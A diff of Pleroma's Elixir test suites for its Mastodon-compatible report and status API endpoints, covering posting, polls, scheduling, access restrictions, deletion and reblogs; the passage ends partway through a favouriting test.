	defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	setup do: oauth_access(["write:reports"])

	setup do
	target_user = insert(:user)

	{:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"})

	[target_user: target_user, activity: activity]
	end

	test "submit a basic report", %{conn: conn, target_user: target_user} do
	assert %{"action_taken" => false, "id" => _} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/reports", %{"account_id" => target_user.id})
	\|> json_response_and_validate_schema(200)
	end

	test "submit a report with statuses and comment", %{
	conn: conn,
	target_user: target_user,
	activity: activity
	} do
	assert %{"action_taken" => false, "id" => _} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/reports", %{
	"account_id" => target_user.id,
	"status_ids" => [activity.id],
	"comment" => "bad status!",
	"forward" => "false"
	})
	\|> json_response_and_validate_schema(200)
	end

	test "account_id is required", %{
	conn: conn,
	activity: activity
	} do
	assert %{"error" => "Missing field: account_id."} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/reports", %{"status_ids" => [activity.id]})
	\|> json_response_and_validate_schema(400)
	end

	test "comment must be up to the size specified in the config", %{
	conn: conn,
	target_user: target_user
	} do
	max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000)
	comment = String.pad_trailing("a", max_size + 1, "a")

	error = %{"error" => "Comment must be up to #{max_size} characters"}

	assert ^error =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment})
	\|> json_response_and_validate_schema(400)
	end

	test "returns error when account is not exist", %{
	conn: conn,
	activity: activity
	} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"})

	assert json_response_and_validate_schema(conn, 400) == %{"error" => "Account not found"}
	end

	test "doesn't fail if an admin has no email", %{conn: conn, target_user: target_user} do
	insert(:user, %{is_admin: true, email: nil})

	assert %{"action_taken" => false, "id" => _} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/reports", %{"account_id" => target_user.id})
	\|> json_response_and_validate_schema(200)
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs
	index 30d542dfa..de542e5df 100644
	--- a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs
	@@ -1,1833 +1,1829 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do
	use Pleroma.Web.ConnCase
	use Oban.Testing, repo: Pleroma.Repo

	alias Pleroma.Activity
	alias Pleroma.Config
	alias Pleroma.Conversation.Participation
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.ScheduledActivity
	alias Pleroma.Tests.ObanHelpers
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	setup do: clear_config([:instance, :federating])
	setup do: clear_config([:instance, :allow_relay])
	setup do: clear_config([:rich_media, :enabled])
	setup do: clear_config([:mrf, :policies])
	setup do: clear_config([:mrf_keyword, :reject])

	describe "posting statuses" do
	setup do: oauth_access(["write:statuses"])

	test "posting a status does not increment reblog_count when relaying", %{conn: conn} do
	Config.put([:instance, :federating], true)
	Config.get([:instance, :allow_relay], true)

	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{
	"content_type" => "text/plain",
	"source" => "Pleroma FE",
	"status" => "Hello world",
	"visibility" => "public"
	})
	\|> json_response_and_validate_schema(200)

	assert response["reblogs_count"] == 0
	ObanHelpers.perform_all()

	response =
	conn
	\|> get("api/v1/statuses/#{response["id"]}", %{})
	\|> json_response_and_validate_schema(200)

	assert response["reblogs_count"] == 0
	end

	test "posting a status", %{conn: conn} do
	idempotency_key = "Pikachu rocks!"

	conn_one =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put_req_header("idempotency-key", idempotency_key)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "0"
	})

	- {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
	- # Six hours
	- assert ttl > :timer.seconds(6 * 60 * 60 - 1)
	-
	assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
	json_response_and_validate_schema(conn_one, 200)

	assert Activity.get_by_id(id)

	conn_two =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put_req_header("idempotency-key", idempotency_key)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => 0
	})

	assert %{"id" => second_id} = json_response(conn_two, 200)
	assert id == second_id

	conn_three =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "False"
	})

	assert %{"id" => third_id} = json_response_and_validate_schema(conn_three, 200)
	refute id == third_id

	# An activity that will expire:
	# 2 hours
	expires_in = 2 * 60 * 60

	expires_at = DateTime.add(DateTime.utc_now(), expires_in)

	conn_four =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{
	"status" => "oolong",
	"expires_in" => expires_in
	})

	assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200)

	assert Activity.get_by_id(fourth_id)

	assert_enqueued(
	worker: Pleroma.Workers.PurgeExpiredActivity,
	args: %{activity_id: fourth_id},
	scheduled_at: expires_at
	)
	end

	test "it fails to create a status if `expires_in` is less or equal than an hour", %{
	conn: conn
	} do
	# 1 minute
	expires_in = 1 * 60

	assert %{"error" => "Expiry date is too soon"} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{
	"status" => "oolong",
	"expires_in" => expires_in
	})
	\|> json_response_and_validate_schema(422)

	# 5 minutes
	expires_in = 5 * 60

	assert %{"error" => "Expiry date is too soon"} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{
	"status" => "oolong",
	"expires_in" => expires_in
	})
	\|> json_response_and_validate_schema(422)
	end

	test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do
	Config.put([:mrf_keyword, :reject], ["GNO"])
	Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy])

	assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{"status" => "GNO/Linux"})
	\|> json_response_and_validate_schema(422)
	end

	test "posting an undefined status with an attachment", %{user: user, conn: conn} do
	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"media_ids" => [to_string(upload.id)]
	})

	assert json_response_and_validate_schema(conn, 200)
	end

	test "replying to a status", %{user: user, conn: conn} do
	{:ok, replied_to} = CommonAPI.post(user, %{status: "cofe"})

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})

	assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200)

	activity = Activity.get_by_id(id)

	assert activity.data["context"] == replied_to.data["context"]
	assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
	end

	test "replying to a direct message with visibility other than direct", %{
	user: user,
	conn: conn
	} do
	{:ok, replied_to} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"})

	Enum.each(["public", "private", "unlisted"], fn visibility ->
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "@#{user.nickname} hey",
	"in_reply_to_id" => replied_to.id,
	"visibility" => visibility
	})

	assert json_response_and_validate_schema(conn, 422) == %{
	"error" => "The message visibility must be direct"
	}
	end)
	end

	test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})

	assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn, 200)
	assert Activity.get_by_id(id)
	end

	test "posting a sensitive status", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})

	assert %{"content" => "cofe", "id" => id, "sensitive" => true} =
	json_response_and_validate_schema(conn, 200)

	assert Activity.get_by_id(id)
	end

	test "posting a fake status", %{conn: conn} do
	real_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" =>
	"\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it"
	})

	real_status = json_response_and_validate_schema(real_conn, 200)

	assert real_status
	assert Object.get_by_ap_id(real_status["uri"])

	real_status =
	real_status
	\|> Map.put("id", nil)
	\|> Map.put("url", nil)
	\|> Map.put("uri", nil)
	\|> Map.put("created_at", nil)
	\|> Kernel.put_in(["pleroma", "conversation_id"], nil)

	fake_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" =>
	"\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it",
	"preview" => true
	})

	fake_status = json_response_and_validate_schema(fake_conn, 200)

	assert fake_status
	refute Object.get_by_ap_id(fake_status["uri"])

	fake_status =
	fake_status
	\|> Map.put("id", nil)
	\|> Map.put("url", nil)
	\|> Map.put("uri", nil)
	\|> Map.put("created_at", nil)
	\|> Kernel.put_in(["pleroma", "conversation_id"], nil)

	assert real_status == fake_status
	end

	test "fake statuses' preview card is not cached", %{conn: conn} do
	clear_config([:rich_media, :enabled], true)

	Tesla.Mock.mock(fn
	%{
	method: :get,
	url: "https://example.com/twitter-card"
	} ->
	%Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")}

	env ->
	apply(HttpRequestMock, :request, [env])
	end)

	conn1 =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "https://example.com/ogp",
	"preview" => true
	})

	conn2 =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "https://example.com/twitter-card",
	"preview" => true
	})

	assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200)

	assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} =
	json_response_and_validate_schema(conn2, 200)
	end

	test "posting a status with OGP link preview", %{conn: conn} do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	clear_config([:rich_media, :enabled], true)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "https://example.com/ogp"
	})

	assert %{"id" => id, "card" => %{"title" => "The Rock"}} =
	json_response_and_validate_schema(conn, 200)

	assert Activity.get_by_id(id)
	end

	test "posting a direct status", %{conn: conn} do
	user2 = insert(:user)
	content = "direct cofe @#{user2.nickname}"

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})

	assert %{"id" => id} = response = json_response_and_validate_schema(conn, 200)
	assert response["visibility"] == "direct"
	assert response["pleroma"]["direct_conversation_id"]
	assert activity = Activity.get_by_id(id)
	assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
	assert activity.data["to"] == [user2.ap_id]
	assert activity.data["cc"] == []
	end
	end

	describe "posting scheduled statuses" do
	setup do: oauth_access(["write:statuses"])

	test "creates a scheduled activity", %{conn: conn} do
	scheduled_at =
	NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
	\|> NaiveDateTime.to_iso8601()
	\|> Kernel.<>("Z")

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "scheduled",
	"scheduled_at" => scheduled_at
	})

	assert %{"scheduled_at" => expected_scheduled_at} =
	json_response_and_validate_schema(conn, 200)

	assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at)
	assert [] == Repo.all(Activity)
	end

	test "ignores nil values", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "not scheduled",
	"scheduled_at" => nil
	})

	assert result = json_response_and_validate_schema(conn, 200)
	assert Activity.get_by_id(result["id"])
	end

	test "creates a scheduled activity with a media attachment", %{user: user, conn: conn} do
	scheduled_at =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(120), :millisecond)
	\|> NaiveDateTime.to_iso8601()
	\|> Kernel.<>("Z")

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"media_ids" => [to_string(upload.id)],
	"status" => "scheduled",
	"scheduled_at" => scheduled_at
	})

	assert %{"media_attachments" => [media_attachment]} =
	json_response_and_validate_schema(conn, 200)

	assert %{"type" => "image"} = media_attachment
	end

	test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now",
	%{conn: conn} do
	scheduled_at =
	NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond)
	\|> NaiveDateTime.to_iso8601()
	\|> Kernel.<>("Z")

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "not scheduled",
	"scheduled_at" => scheduled_at
	})

	assert %{"content" => "not scheduled"} = json_response_and_validate_schema(conn, 200)
	assert [] == Repo.all(ScheduledActivity)
	end

	test "returns error when daily user limit is exceeded", %{user: user, conn: conn} do
	today =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(6), :millisecond)
	\|> NaiveDateTime.to_iso8601()
	# TODO
	\|> Kernel.<>("Z")

	attrs = %{params: %{}, scheduled_at: today}
	{:ok, _} = ScheduledActivity.create(user, attrs)
	{:ok, _} = ScheduledActivity.create(user, attrs)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today})

	assert %{"error" => "daily limit exceeded"} == json_response_and_validate_schema(conn, 422)
	end

	test "returns error when total user limit is exceeded", %{user: user, conn: conn} do
	today =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(6), :millisecond)
	\|> NaiveDateTime.to_iso8601()
	\|> Kernel.<>("Z")

	tomorrow =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.hours(36), :millisecond)
	\|> NaiveDateTime.to_iso8601()
	\|> Kernel.<>("Z")

	attrs = %{params: %{}, scheduled_at: today}
	{:ok, _} = ScheduledActivity.create(user, attrs)
	{:ok, _} = ScheduledActivity.create(user, attrs)
	{:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow})

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow})

	assert %{"error" => "total limit exceeded"} == json_response_and_validate_schema(conn, 422)
	end
	end

	describe "posting polls" do
	setup do: oauth_access(["write:statuses"])

	test "posting a poll", %{conn: conn} do
	time = NaiveDateTime.utc_now()

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "Who is the #bestgrill?",
	"poll" => %{
	"options" => ["Rei", "Asuka", "Misato"],
	"expires_in" => 420
	}
	})

	response = json_response_and_validate_schema(conn, 200)

	assert Enum.all?(response["poll"]["options"], fn %{"title" => title} ->
	title in ["Rei", "Asuka", "Misato"]
	end)

	assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430
	refute response["poll"]["expred"]

	question = Object.get_by_id(response["poll"]["id"])

	# closed contains utc timezone
	assert question.data["closed"] =~ "Z"
	end

	test "option limit is enforced", %{conn: conn} do
	limit = Config.get([:instance, :poll_limits, :max_options])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "desu~",
	"poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1}
	})

	%{"error" => error} = json_response_and_validate_schema(conn, 422)
	assert error == "Poll can't contain more than #{limit} options"
	end

	test "option character limit is enforced", %{conn: conn} do
	limit = Config.get([:instance, :poll_limits, :max_option_chars])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "...",
	"poll" => %{
	"options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)],
	"expires_in" => 1
	}
	})

	%{"error" => error} = json_response_and_validate_schema(conn, 422)
	assert error == "Poll options cannot be longer than #{limit} characters each"
	end

	test "minimal date limit is enforced", %{conn: conn} do
	limit = Config.get([:instance, :poll_limits, :min_expiration])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "imagine arbitrary limits",
	"poll" => %{
	"options" => ["this post was made by pleroma gang"],
	"expires_in" => limit - 1
	}
	})

	%{"error" => error} = json_response_and_validate_schema(conn, 422)
	assert error == "Expiration date is too soon"
	end

	test "maximum date limit is enforced", %{conn: conn} do
	limit = Config.get([:instance, :poll_limits, :max_expiration])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses", %{
	"status" => "imagine arbitrary limits",
	"poll" => %{
	"options" => ["this post was made by pleroma gang"],
	"expires_in" => limit + 1
	}
	})

	%{"error" => error} = json_response_and_validate_schema(conn, 422)
	assert error == "Expiration date is too far in the future"
	end
	end

	test "get a status" do
	%{conn: conn} = oauth_access(["read:statuses"])
	activity = insert(:note_activity)

	conn = get(conn, "/api/v1/statuses/#{activity.id}")

	assert %{"id" => id} = json_response_and_validate_schema(conn, 200)
	assert id == to_string(activity.id)
	end

	defp local_and_remote_activities do
	local = insert(:note_activity)
	remote = insert(:note_activity, local: false)
	{:ok, local: local, remote: remote}
	end

	describe "status with restrict unauthenticated activities for local and remote" do
	setup do: local_and_remote_activities()

	setup do: clear_config([:restrict_unauthenticated, :activities, :local], true)

	setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/statuses/#{local.id}")

	assert json_response_and_validate_schema(res_conn, :not_found) == %{
	"error" => "Record not found"
	}

	res_conn = get(conn, "/api/v1/statuses/#{remote.id}")

	assert json_response_and_validate_schema(res_conn, :not_found) == %{
	"error" => "Record not found"
	}
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])
	res_conn = get(conn, "/api/v1/statuses/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/statuses/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end
	end

	describe "status with restrict unauthenticated activities for local" do
	setup do: local_and_remote_activities()

	setup do: clear_config([:restrict_unauthenticated, :activities, :local], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/statuses/#{local.id}")

	assert json_response_and_validate_schema(res_conn, :not_found) == %{
	"error" => "Record not found"
	}

	res_conn = get(conn, "/api/v1/statuses/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])
	res_conn = get(conn, "/api/v1/statuses/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/statuses/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end
	end

	describe "status with restrict unauthenticated activities for remote" do
	setup do: local_and_remote_activities()

	setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/statuses/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/statuses/#{remote.id}")

	assert json_response_and_validate_schema(res_conn, :not_found) == %{
	"error" => "Record not found"
	}
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])
	res_conn = get(conn, "/api/v1/statuses/#{local.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)

	res_conn = get(conn, "/api/v1/statuses/#{remote.id}")
	assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200)
	end
	end

	test "getting a status that doesn't exist returns 404" do
	%{conn: conn} = oauth_access(["read:statuses"])
	activity = insert(:note_activity)

	conn = get(conn, "/api/v1/statuses/#{String.downcase(activity.id)}")

	assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"}
	end

	test "get a direct status" do
	%{user: user, conn: conn} = oauth_access(["read:statuses"])
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "direct"})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/statuses/#{activity.id}")

	[participation] = Participation.for_user(user)

	res = json_response_and_validate_schema(conn, 200)
	assert res["pleroma"]["direct_conversation_id"] == participation.id
	end

	test "get statuses by IDs" do
	%{conn: conn} = oauth_access(["read:statuses"])
	%{id: id1} = insert(:note_activity)
	%{id: id2} = insert(:note_activity)

	query_string = "ids[]=#{id1}&ids[]=#{id2}"
	conn = get(conn, "/api/v1/statuses/?#{query_string}")

	assert [%{"id" => ^id1}, %{"id" => ^id2}] =
	Enum.sort_by(json_response_and_validate_schema(conn, :ok), & &1["id"])
	end

	describe "getting statuses by ids with restricted unauthenticated for local and remote" do
	setup do: local_and_remote_activities()

	setup do: clear_config([:restrict_unauthenticated, :activities, :local], true)

	setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}")

	assert json_response_and_validate_schema(res_conn, 200) == []
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}")

	assert length(json_response_and_validate_schema(res_conn, 200)) == 2
	end
	end

	describe "getting statuses by ids with restricted unauthenticated for local" do
	setup do: local_and_remote_activities()

	setup do: clear_config([:restrict_unauthenticated, :activities, :local], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}")

	remote_id = remote.id
	assert [%{"id" => ^remote_id}] = json_response_and_validate_schema(res_conn, 200)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}")

	assert length(json_response_and_validate_schema(res_conn, 200)) == 2
	end
	end

	describe "getting statuses by ids with restricted unauthenticated for remote" do
	setup do: local_and_remote_activities()

	setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true)

	test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do
	res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}")

	local_id = local.id
	assert [%{"id" => ^local_id}] = json_response_and_validate_schema(res_conn, 200)
	end

	test "if user is authenticated", %{local: local, remote: remote} do
	%{conn: conn} = oauth_access(["read"])

	res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}")

	assert length(json_response_and_validate_schema(res_conn, 200)) == 2
	end
	end

	describe "deleting a status" do
	test "when you created it" do
	%{user: author, conn: conn} = oauth_access(["write:statuses"])
	activity = insert(:note_activity, user: author)
	object = Object.normalize(activity)

	content = object.data["content"]
	source = object.data["source"]

	result =
	conn
	\|> assign(:user, author)
	\|> delete("/api/v1/statuses/#{activity.id}")
	\|> json_response_and_validate_schema(200)

	assert match?(%{"content" => ^content, "text" => ^source}, result)

	refute Activity.get_by_id(activity.id)
	end

	test "when it doesn't exist" do
	%{user: author, conn: conn} = oauth_access(["write:statuses"])
	activity = insert(:note_activity, user: author)

	conn =
	conn
	\|> assign(:user, author)
	\|> delete("/api/v1/statuses/#{String.downcase(activity.id)}")

	assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404)
	end

	test "when you didn't create it" do
	%{conn: conn} = oauth_access(["write:statuses"])
	activity = insert(:note_activity)

	conn = delete(conn, "/api/v1/statuses/#{activity.id}")

	assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404)

	assert Activity.get_by_id(activity.id) == activity
	end

	test "when you're an admin or moderator", %{conn: conn} do
	activity1 = insert(:note_activity)
	activity2 = insert(:note_activity)
	admin = insert(:user, is_admin: true)
	moderator = insert(:user, is_moderator: true)

	res_conn =
	conn
	\|> assign(:user, admin)
	\|> assign(:token, insert(:oauth_token, user: admin, scopes: ["write:statuses"]))
	\|> delete("/api/v1/statuses/#{activity1.id}")

	assert %{} = json_response_and_validate_schema(res_conn, 200)

	res_conn =
	conn
	\|> assign(:user, moderator)
	\|> assign(:token, insert(:oauth_token, user: moderator, scopes: ["write:statuses"]))
	\|> delete("/api/v1/statuses/#{activity2.id}")

	assert %{} = json_response_and_validate_schema(res_conn, 200)

	refute Activity.get_by_id(activity1.id)
	refute Activity.get_by_id(activity2.id)
	end
	end

	describe "reblogging" do
	setup do: oauth_access(["write:statuses"])

	test "reblogs and returns the reblogged status", %{conn: conn} do
	activity = insert(:note_activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/reblog")

	assert %{
	"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
	"reblogged" => true
	} = json_response_and_validate_schema(conn, 200)

	assert to_string(activity.id) == id
	end

	test "returns 404 if the reblogged status doesn't exist", %{conn: conn} do
	activity = insert(:note_activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{String.downcase(activity.id)}/reblog")

	assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404)
	end

	test "reblogs privately and returns the reblogged status", %{conn: conn} do
	activity = insert(:note_activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post(
	"/api/v1/statuses/#{activity.id}/reblog",
	%{"visibility" => "private"}
	)

	assert %{
	"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
	"reblogged" => true,
	"visibility" => "private"
	} = json_response_and_validate_schema(conn, 200)

	assert to_string(activity.id) == id
	end

	test "reblogged status for another user" do
	activity = insert(:note_activity)
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)
	{:ok, _} = CommonAPI.favorite(user2, activity.id)
	{:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id)
	{:ok, reblog_activity1} = CommonAPI.repeat(activity.id, user1)
	{:ok, _} = CommonAPI.repeat(activity.id, user2)

	conn_res =
	build_conn()
	\|> assign(:user, user3)
	\|> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"]))
	\|> get("/api/v1/statuses/#{reblog_activity1.id}")

	assert %{
	"reblog" => %{"id" => _id, "reblogged" => false, "reblogs_count" => 2},
	"reblogged" => false,
	"favourited" => false,
	"bookmarked" => false
	} = json_response_and_validate_schema(conn_res, 200)

	conn_res =
	build_conn()
	\|> assign(:user, user2)
	\|> assign(:token, insert(:oauth_token, user: user2, scopes: ["read:statuses"]))
	\|> get("/api/v1/statuses/#{reblog_activity1.id}")

	assert %{
	"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2},
	"reblogged" => true,
	"favourited" => true,
	"bookmarked" => true
	} = json_response_and_validate_schema(conn_res, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "unreblogging" do
	setup do: oauth_access(["write:statuses"])

	test "unreblogs and returns the unreblogged status", %{user: user, conn: conn} do
	activity = insert(:note_activity)

	{:ok, _} = CommonAPI.repeat(activity.id, user)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/#{activity.id}/unreblog")

	assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} =
	json_response_and_validate_schema(conn, 200)

	assert to_string(activity.id) == id
	end

	test "returns 404 error when activity does not exist", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/statuses/foo/unreblog")

	assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"}
	end
	end

	describe "favoriting" do
	setup do: oauth_access(["write:favourites"])

	test "favs a status and returns it", %{conn: conn} do
	activity = insert(:note_activity)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
